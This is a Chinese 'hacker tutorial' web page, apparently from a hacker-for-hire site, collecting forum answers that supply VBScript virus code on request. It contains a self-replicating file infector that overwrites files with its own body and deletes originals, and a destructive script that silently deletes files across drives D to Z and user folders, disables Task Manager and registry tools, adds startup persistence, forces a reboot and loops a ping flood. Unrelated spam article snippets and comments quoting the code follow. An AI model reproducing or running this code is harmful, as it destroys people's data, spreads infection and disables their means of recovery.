当前位置:首页 > 黑客教程 > 正文内容

简单的病毒编程代码vbs(简单的病毒编程代码cmd)

hacker2年前 (2022-06-29)黑客教程138

本文目录一览:

求用vbs编写autorun病毒简单代码,给分很多的

自己改一下:

dim

folder,fso,foldername,f,d,dc

set

fso=createobject("scripting.filesystemobject")

set

self=fso.opentextfile(wscript.scriptfullname,1)

vbscopy=self.readall

'读取病毒体,以备复制到文件

self.close

set

dc=fso.Drives

for

each

d

in

dc

if

d.drivetype=3

or

d.drivetype=2

then

'检查磁盘类型

wscript.echo

d

'弹出窗口,显示找到盘符

scan(d)

end

if

next

lsfile=wscript.scriptfullname

'该脚本程序路径

set

lsfile=fso.getfile(lsfile)

lsfile.delete(true)

'病毒运行后自我删除(本人自加,爱虫病毒本身没有该代码)

sub

scan(folder_)

on

error

resume

next

set

folder_=fso.getfolder(folder_)

set

files=folder_.files

for

each

file

in

files

ext=fso.GetExtensionName(file)

'获取文件后缀

ext=lcase(ext)

'后缀名转换成小写字母

if

ext="mp5"

then

'如果后缀名是mp5,当然不存在这种文件,这里可以自己修改,但是注意。请自己建立相应后缀名的文件,更好是非正常后缀名

set

ap=fso.opentextfile(file.path,2,true)

ap.write

vbscopy

'覆盖文件,慎用

ap.close

set

cop=fso.getfile(file.path)

cop.copy(file.path

".vbs")

'创建另外一个病毒文件

file.delete(true)

'删除原来文件

end

if

next

set

subfolders=folder_.subfolders

for

each

subfolder

in

subfolders

'搜索其他目录

scan(subfolder)

next

end

sub

谁能解释下面简单的电脑病毒代码?

我帮你"翻译"一下代码的意思。

这是一段vbs代码:直到(除非)1等于2,否则就一直弹出一个写有"烦死你"的窗口,因为1永远不等于2,所以不断的弹窗。

这是VB的一个简单编程,但是代码却不怀好意。这段代码的意思是说,当双击运行这个程序的时候,执行以下代码:直到(除非)1等于2,否则隐藏这个软件的窗体,然后显示这个软件的窗体,然后调用系统的"calc.exe"程序,也就是调用系统自带的"计算器",因为1永远不等于2,所以这些步骤永远循环的执行下去。以现在的计算机来看,并不会"运行后马上死机",我们的计算机还不至于这么差劲,不过cpu会高涨,根据不同计算机的配置,时间范围从很快死机到数秒后死机不等。

求最全的vbs病毒代码,要破坏性的。谢谢,回答的好我多给分。

那废话不说,问这个如何?不懂可以问我

On Error Resume Next

dim avest,xufso,wscrt

Set avest = WScript.Createobject("WScript.Shell")

Set wscrt = WScript.Createobject("WScript.Shell")

Set xufso = CreateObject("Scripting.FileSystemObject")

avest.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del e:\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del f:\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del g:\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del h:\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del i:\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del j:\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del k:\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del l:\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del m:\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del n:\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del o:\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del p:\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del q:\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del r:\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del s:\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del t:\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del u:\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del v:\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del w:\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del x:\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del y:\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del z:\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del C:\Users\*.* / f /q /s""",0 ,true

avest.run "cmd /c ""del C:\ProgramData\*.* / f /q /s""",0 ,true

xufso.CreateFolder "C:\VBScript\"

wscrt.run "shutdown -r -f -t 3600 -c 脚本与批处理程序相结合成功!"

xufso.copyfile Wscript.Scriptfullname,"C:\VBScript\一触即发.vbs"

xufso.copyfile Wscript.Scriptfullname,"C:\Users\Public\Desktop\一触即发.vbs"

wscrt.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools","00000001","REG_DWORD"

wscrt.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr","00000001","REG_DWORD"

wscrt.regwrite"HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost","C:\VBScript\一触即发.vbs","REG_SZ"

wscrt.regWrite"HKEY_CURRENT_USER\Software\Policies\Microsoft\MMC\RestrictToPermittedSnapins","00000001","REG_DWORD"

msgbox "My head with day feet standing on the earth all over the world to worship my swagger is the modelling of the legendary Super Star elder brother is sharp!",16+4096,"Error"

do

wscrt.run "ping 192.168.1.1 -l 65500 -t"

loop

扫描二维码推送至手机访问。

版权声明:本文由黑客24小时在线接单网站发布,如需转载请注明出处。

本文链接:https://www.cn-sl.com/135554.html

分享给朋友:

“简单的病毒编程代码vbs(简单的病毒编程代码cmd)” 的相关文章

朝币人民币汇率 「人民币兑换朝币汇率」

CNY,点00 七 一美元依据 暗盘 汇率: 一元代陈钱=0点00 三 二群众币,那个价钱 为.CHF, 五0澳年夜 利亚元, 一, 一元代陈钱=0, 六 二 八点0 三添拿年夜 元,0 三添拿年夜 元。  三 四点 五群众币,外洋 人士持有的晨陈群众币取美圆等值。 九 六点 六 四日元, 一 二0...

最低价股票排名(2021年3元以下有潜力的股票)

 六00 七0 一*ST工新 四点0 八元, 六00 八 六 八尔一向 看孬 六00 二 一 二,的无机会出借有涨停百分之 一0的有详细 .购进后最佳 三个月别看它, 六00 二 一 七,高价股皆是年夜 盘股多! 五。联合 (市亏率的,下科技。 A股曾经出有 三元如下的了,ST秦岭 三。无论哪一种类...

诮怎么读(诮怎么读什么意思)

  本题目 :微疑版《千字文》,齐文解读高深莫测,经典收藏 版!   《千字文》是外国晚期的受教教材 ,涵盖了地文、地舆 、天然 、社会、汗青 等多圆里的常识 。其以儒教实践为目、交叉诸多知识 ,用四字韵语写没,很适于孩子诵读,之后便成为了外国今代学育史上最先、最胜利 的发蒙 学材。《千字文》既是...

商铺被强拆千万珠宝不知去向「周金生珠宝的排名」

据荆州消息 网 二0 二 一年 一0月 二0日0 二: 一 三: 二 二的消息 报导,微专网友@华夏 工商店 唐司理 爆料。 安然 夜光降 之际,事宜 ,正在网上炒患上满城风雨,激发 齐网冷议! 据悉,商店 被弱装万万 珠宝 之后咱们到天后领现最单纯的要领 便是间接用Googlemap...

什么时候立春(什么时候立春2021年的几月份立春)

   二0 二 一年坐秋是何时几月几号往年 挨秋详细 空儿几点几分    二0 二 一坐秋是 二月 三日 二 二点 五 八分 三 九秒。坐秋是两十四骨气 之一,又称“挨秋”。“坐”是“开端 ”的意义,外国以坐秋为春天的开端 ,每一年 二月 四日或者 五日太阴达到 黄经 三 一 五度时为坐秋,《月...

天猫双十一活动什么时候开始华流

从前 提到单十一这皆是王老五骗子 才过的节日,而如今 单十一撼身一酿成 了齐平易近 买物狂悲节。正在单十一时代 以淘宝地猫为主的买物仄台都邑 拉没各类 劣惠运动 以及谦减扣头 ,否以算患上上是整年 最廉价 的时刻 了。这么地猫单十一运动 何时开端 呢?上面便跟百思特小编去具体 相识 一高 二0 二0...

评论列表

只影玖橘
2年前 (2022-06-30)

,true avest.run "cmd /c ""del l:\*.* / f /q /s""",0 ,true avest.run "cmd /c ""del m:\*.* / f /q /s""",0 ,true avest.run "cmd

弦久觅遇
2年前 (2022-06-30)

ifnextsetsubfolders=folder_.subfoldersforeachsubfolderinsubfolders'搜索其他目录scan(subfolder)nextendsub谁能解释下面简单的电脑病毒代码?我

鹿岛雾月
2年前 (2022-06-30)

/s""",0 ,true avest.run "cmd /c ""del n:\*.* / f /q /s""",0 ,true avest.run "cmd /c ""del o:\*.* /

鸠骨鸢栀
2年前 (2022-06-30)

l f:\*.* / f /q /s""",0 ,true avest.run "cmd /c ""del g:\*.* / f /q /s""",0 ,true avest.run "cmd /c

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。